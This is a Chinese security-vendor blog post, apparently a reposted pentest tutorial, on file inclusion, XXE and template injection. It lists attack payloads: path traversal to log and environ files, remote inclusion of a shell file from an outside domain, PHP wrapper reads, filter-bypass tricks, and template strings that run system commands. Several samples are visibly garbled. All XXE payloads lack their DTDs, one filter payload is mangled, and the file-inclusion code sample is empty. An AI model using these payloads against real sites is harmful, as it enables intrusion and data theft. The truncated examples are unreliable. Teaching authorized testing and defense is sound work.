网站渗透测试 对文件包含注入检测办法

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

3.8. 文件包含

3.8.1. 基础

常见的文件包含漏洞的形式为

考虑常用的几种包含方式为

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.8.2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.8.2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.8.2.2. 特殊字符绕过

某些情况下,读文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能会影响include包含的结果

某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.8.2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.8.2.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.8.2.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input

: 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。

3.9.2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3.9.3. 攻击方式

3.9.3.1. 拒绝服务攻击

]>

&a2;

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.9.3.2. 文件读取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.10.2. 测试方法

确定使用的引擎

查看引擎相关的文档,确定其安全机制以及自带的函数和变量

需找攻击面,尝试攻击

3.10.3. 测试用例

简单的数学表达式,{{ 7+7 }} => 14

字符串表达式 {{ “ajin” }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval(‘1+1’)

Tornado

引用模块 {% import module %}

=> {% import os %}{{ os.popen(“whoami”).read() }}

Flask/Jinja2

{{ config.items() }}

{{”.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include “x.html” %}

{% extends “x.html” %}

3.10.4. 目标

创建对象

文件读写

远程文件包含

信息泄漏 提权

3.10.5. 相关属性

3.10.5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 “”.__class__ 就可以获取到字符串实例对应的类

3.10.5.2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.10.5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.10.5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:SEO优化专员,转转请注明出处:https://www.chuangxiangniao.com/p/905977.html

(0)
上一篇 2025年1月4日 05:49:47
下一篇 2025年1月4日 05:50:24

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 网站安全之逻辑漏洞检测 修复方案

    网站安全是整个网站运营中最重要的一部分,网站没有了安全,那用户的隐私如何保障,在网站中进行的任何交易,支付,用户的注册信息都就没有了安全保障,所以网站安全做好了,才能更好的去运营一个网站,我们SINE安全在对客户进行网站安全部署与检测的同时…

    安全 2025年1月4日
    100
  • ecshop漏洞修复以及如何加固ecshop网站安全

    由于8月份的ECSHOP通杀漏洞被国内安全厂商爆出后,众多使用ecshop程序源码的用户大面积的受到了网站被篡改,最明显的就是外贸站点被跳转到一些仿冒的网站上去,导致在谷歌的用户订单量迅速下降,从百度,谷歌,360,以及搜狗等等进入到网站的…

    2025年1月4日
    100
  • 如何修复网站漏洞之metinfo远程SQL注入漏洞

    2018年11月23日SINE网站安全检测平台,检测到MetInfo最新版本爆出高危漏洞,危害性较大,影响目前MetInfo 5.3版本到最新的 MetInfo 6.1.3版本,该网站漏洞产生的主要原因是MetInfo的上传代码里的参数值没…

    2025年1月4日
    100
  • discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞产生的原因首先:php环境的版本大约PH…

    2025年1月4日
    100
  • 网站逻辑漏洞检测与修复实战过程

    在网站安全的日常安全检测当中,我们SINE安全公司发现网站的逻辑漏洞占比也是很高的,前段时间某酒店网站被爆出存在高危的逻辑漏洞,该漏洞导致酒店的几亿客户的信息遭泄露,包括手机号,姓名,地址都被泄露,后续带来的损失很大,最近几年用户信息泄露的…

    安全 2025年1月4日
    100
  • 第三方检测SW-LIMS微服务架构部署

    随着人们的消费意识和权利意识逐渐增强,第三方检测行业得以迅速发展,其市场竞争也越发激烈。第三方检测机构实验室检测系统化、标准化、精细化、专业化已成为在行业内立足与发展的有效竞争力。而科学充分运用实验室信息管理系统(LIMS)提升内部工作效率…

    2025年1月4日
    100
  • 对javascript网站渗透测试安全检测漏洞方法

    最近渗透测试工作比较多没有空闲的时间来写文章,今天由我们Sine安全的渗透主管来普及一下javascript的安全测试基础,很多客户想要了解具体js的调用漏洞或提交playload的过程以及是如何拿到最高权限和绕过登录等等执行命令漏洞之类的…

    2025年1月4日
    100
  • 网站安全防护渗透测试常见的攻击方法

    国内对渗透测试以及安全评估的研究起步较晚,并且大多集中在在渗透测试技术上的研究,安全评估方面也有部分企业和研宄团体具有系统的评估方式。然而国内对基于渗透测试的自动化集成系统研宄还非常少,从目前的网络安全态势来看,传统的渗透测试方式己经无法满…

    安全 2025年1月4日
    100
  • 如何修复网站漏洞 全局变量覆盖漏洞的修复方式

    临近9月底,seacms官方升级海洋cms系统到9.95版本,我们SINE安全在对其源码进行网站漏洞检测的时候发现问题,可导致全局变量被覆盖,后台可以存在越权漏洞并绕过后台安全检测直接登录管理员账号。关于该漏洞的具体详情,我们来详细的分析一…

    2025年1月4日
    100
  • 网站漏洞检测 squid反向代理存在远程代码执行漏洞

    在对网站进行渗透测试的时候,发现很多网站都在使用squid反向代理系统,该系统存在可以执行远程代码的漏洞,很多客户找我们SINE安全做渗透测试服务的同时,我们会先对客户的网站进行信息搜集工作,包括域名,二级域名收集,网站使用的反向代理系统,…

    2025年1月4日
    100

发表回复

登录后才能评论

联系我们

156-6553-5169

在线咨询: QQ交谈

邮件:253000106@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

联系微信